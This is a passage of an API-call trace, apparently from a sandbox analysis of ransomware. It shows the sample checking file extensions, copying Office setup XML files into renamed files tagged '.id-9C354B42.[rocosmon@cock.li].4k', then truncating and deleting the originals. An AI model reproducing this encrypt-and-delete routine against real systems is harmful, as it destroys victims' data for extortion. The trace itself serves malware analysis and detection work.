	[0100.540] CloseHandle (hObject=0x1f0) returned 1
	[0100.540] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.540] SetEndOfFile (hFile=0x194) returned 1
	[0100.541] CloseHandle (hObject=0x194) returned 1
	[0100.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.541] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1
	[0100.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.541] lstrlenW (lpString=".doc") returned 4
	[0100.542] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString=".docx") returned 5
	[0100.542] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.542] lstrlenW (lpString=".pdf") returned 4
	[0100.542] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString=".xls") returned 4
	[0100.542] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString=".xlsx") returned 5
	[0100.542] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.542] lstrlenW (lpString=".ppt") returned 4
	[0100.542] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.542] lstrlenW (lpString=".zip") returned 4
	[0100.542] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.542] lstrlenW (lpString=".rar") returned 4
	[0100.542] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString=".bz2") returned 4
	[0100.542] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString=".7z") returned 3
	[0100.542] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.542] lstrlenW (lpString=".dbf") returned 4
	[0100.542] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.543] lstrlenW (lpString=".1cd") returned 4
	[0100.543] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.543] lstrlenW (lpString=".jpg") returned 4
	[0100.543] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.543] lstrlenW (lpString=".doc") returned 4
	[0100.543] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString=".docx") returned 5
	[0100.543] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.543] lstrlenW (lpString=".pdf") returned 4
	[0100.543] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString=".xls") returned 4
	[0100.543] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString=".xlsx") returned 5
	[0100.543] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.543] lstrlenW (lpString=".ppt") returned 4
	[0100.543] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.543] lstrlenW (lpString=".zip") returned 4
	[0100.543] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.543] lstrlenW (lpString=".rar") returned 4
	[0100.543] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.543] lstrlenW (lpString=".bz2") returned 4
	[0100.543] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.544] lstrlenW (lpString=".7z") returned 3
	[0100.544] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.544] lstrlenW (lpString=".dbf") returned 4
	[0100.544] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.544] lstrlenW (lpString=".1cd") returned 4
	[0100.544] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0100.544] lstrlenW (lpString=".jpg") returned 4
	[0100.544] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.544] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.544] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.568] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=16683) returned 1
	[0100.568] CloseHandle (hObject=0x200) returned 1
	[0100.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20
	[0100.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.569] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.569] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.570] GetLastError () returned 0x0
	[0100.570] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x412b, lpOverlapped=0x0) returned 1
	[0100.602] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4130, lpOverlapped=0x0) returned 1
	[0100.603] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.603] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.604] SetEndOfFile (hFile=0x208) returned 1
	[0100.604] CloseHandle (hObject=0x208) returned 1
	[0100.604] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.604] SetEndOfFile (hFile=0x200) returned 1
	[0100.605] CloseHandle (hObject=0x200) returned 1
	[0100.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.605] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1
	[0100.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.606] lstrlenW (lpString=".doc") returned 4
	[0100.606] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString=".docx") returned 5
	[0100.606] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.606] lstrlenW (lpString=".pdf") returned 4
	[0100.606] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString=".xls") returned 4
	[0100.606] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString=".xlsx") returned 5
	[0100.606] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.606] lstrlenW (lpString=".ppt") returned 4
	[0100.606] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.606] lstrlenW (lpString=".zip") returned 4
	[0100.606] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.606] lstrlenW (lpString=".rar") returned 4
	[0100.606] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString=".bz2") returned 4
	[0100.606] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.606] lstrlenW (lpString=".7z") returned 3
	[0100.606] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString=".dbf") returned 4
	[0100.607] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString=".1cd") returned 4
	[0100.607] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString=".jpg") returned 4
	[0100.607] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString=".doc") returned 4
	[0100.607] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString=".docx") returned 5
	[0100.607] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.607] lstrlenW (lpString=".pdf") returned 4
	[0100.607] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString=".xls") returned 4
	[0100.607] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString=".xlsx") returned 5
	[0100.607] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.607] lstrlenW (lpString=".ppt") returned 4
	[0100.607] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.607] lstrlenW (lpString=".zip") returned 4
	[0100.607] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.607] lstrlenW (lpString=".rar") returned 4
	[0100.608] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.608] lstrlenW (lpString=".bz2") returned 4
	[0100.608] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.608] lstrlenW (lpString=".7z") returned 3
	[0100.608] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.608] lstrlenW (lpString=".dbf") returned 4
	[0100.608] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.608] lstrlenW (lpString=".1cd") returned 4
	[0100.608] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0100.608] lstrlenW (lpString=".jpg") returned 4
	[0100.608] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.608] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.608] lstrlenW (lpString="Proof.XML") returned 9
	[0100.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.609] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1458) returned 1
	[0100.609] CloseHandle (hObject=0x200) returned 1
	[0100.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20
	[0100.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.609] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.609] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.610] GetLastError () returned 0x0
	[0100.610] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x5b2, lpOverlapped=0x0) returned 1
	[0100.650] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0100.652] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.652] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.652] SetEndOfFile (hFile=0x208) returned 1
	[0100.652] CloseHandle (hObject=0x208) returned 1
	[0100.652] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.652] SetEndOfFile (hFile=0x200) returned 1
	[0100.653] CloseHandle (hObject=0x200) returned 1
	[0100.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.653] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1
	[0100.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.654] lstrlenW (lpString=".doc") returned 4
	[0100.654] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString=".docx") returned 5
	[0100.654] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.654] lstrlenW (lpString=".pdf") returned 4
	[0100.654] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString=".xls") returned 4
	[0100.654] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString=".xlsx") returned 5
	[0100.654] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.654] lstrlenW (lpString=".ppt") returned 4
	[0100.654] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.654] lstrlenW (lpString=".zip") returned 4
	[0100.654] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.654] lstrlenW (lpString=".rar") returned 4
	[0100.654] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString=".bz2") returned 4
	[0100.654] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.654] lstrlenW (lpString=".7z") returned 3
	[0100.654] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString=".dbf") returned 4
	[0100.655] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString=".1cd") returned 4
	[0100.655] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString=".jpg") returned 4
	[0100.655] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString=".doc") returned 4
	[0100.655] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString=".docx") returned 5
	[0100.655] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.655] lstrlenW (lpString=".pdf") returned 4
	[0100.655] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString=".xls") returned 4
	[0100.655] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString=".xlsx") returned 5
	[0100.655] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.655] lstrlenW (lpString=".ppt") returned 4
	[0100.655] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.655] lstrlenW (lpString=".zip") returned 4
	[0100.655] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.655] lstrlenW (lpString=".rar") returned 4
	[0100.655] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.655] lstrlenW (lpString=".bz2") returned 4
	[0100.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.656] lstrlenW (lpString=".7z") returned 3
	[0100.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.656] lstrlenW (lpString=".dbf") returned 4
	[0100.656] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.656] lstrlenW (lpString=".1cd") returned 4
	[0100.656] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0100.656] lstrlenW (lpString=".jpg") returned 4
	[0100.656] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.656] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.656] lstrlenW (lpString="ProPlusrWW.XML") returned 14
	[0100.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.662] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=16852) returned 1
	[0100.662] CloseHandle (hObject=0x200) returned 1
	[0100.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20
	[0100.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.662] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.662] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
